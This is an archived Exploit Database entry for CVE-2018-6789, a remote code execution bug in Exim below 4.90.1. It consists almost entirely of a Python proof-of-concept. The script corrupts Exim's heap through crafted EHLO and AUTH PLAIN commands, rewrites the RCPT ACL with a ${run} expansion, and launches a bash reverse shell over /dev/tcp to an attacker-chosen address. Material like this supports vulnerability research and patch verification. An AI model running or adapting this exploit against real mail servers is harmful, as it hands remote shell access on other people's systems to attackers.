Exim < 4.90.1 - 'base64d' Remote Code Execution

Exploit Database
105 阅读

作者： straight_blast

日期： 2018-05-02
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/44571/

#!/usr/bin/python

import time

import socket

import struct

s = None

f = None

def logo():

print "CVE-2018-6789 Poc Exploit"

print "@straight_blast ; straightblast426@gmail.com"

def connect(host, port):

global s

global f

s = socket.create_connection((host,port))

f = s.makefile('rw', bufsize=0)

def p(v):

return struct.pack("<Q", v)

def readuntil(delim='\n'):

data = ''

while not data.endswith(delim):

data += f.read(1)

return data

def write(data):

f.write(data + "\n")

def ehlo(v):

write("EHLO " + v)

readuntil('HELP')

def unrec(v):

write(v)

readuntil('command')

def auth_plain(v):

encode = v.encode('base64').replace('\n','').replace('=','')

write("AUTH PLAIN " + encode)

readuntil('data')

def one_byte_overwrite():

v = "C" * 8200

encode = v.encode('base64').replace('\n','').replace('=','')

encode = encode[:-1] + "PE"

write("AUTH PLAIN " + encode)

readuntil('data')

def exploit():

logo()

connect('localhost', 25)

print "[1] connected to target"

time.sleep(0.5)

ehlo("A" * 8000)

ehlo("B" * 16)

print "[2] created free chunk size 0x6060 in unsorted bin"

unrec("\xff" * 2000)

ehlo("D" * 8200)

one_byte_overwrite()

print "[3] triggered 1 byte overwrite to extend target chunk size from 0x2020 to 0x20f0"

fake_header= p(0)

fake_header += p(0x1f51)

auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))

print "[4] patched chunk with fake header so extended chunk can be freed"

ehlo("F" * 16)

print "[5] freed extended chunk"

unrec("\xff" * 2000)

print "[6] occupied 1st and 3rd item in unsorted bin with fillers"

fake_header= p(0x4110)

fake_header += p(0x1f50)

auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))

print "[7] patched chunk with fake header so extended chunk can be allocated"

address = 0x55d7e5864480

auth_plain("H" * 8200 + p(0x2021) + p(address)+ p(0x2008) + "H" * 184)

print "[8] overwrite 'next' pointer with ACL store block address"

ehlo("I" * 16)

print "[9] freed the ACL store block"

acl_smtp_rcpt_offset = 288

local_host = '192.168.0.159'

local_port = 1337

cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_host + "/" + str(local_port) + " 0>&1\""

cmd_expansion_string = "${run{" + cmd + "}}\0"

auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "J" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))

print "[10] malloced ACL store block and overwrite the content of 'acl_smtp_rcpt' with shell expression"

write("MAIL FROM:<test@pwned.com>")

readuntil("OK")

write("RCPT TO:<shell@pwned.com>")

print "[11] triggered RCPT TO and executing shell expression ... enjoy your shell!"

if __name__ == '__main__':

exploit()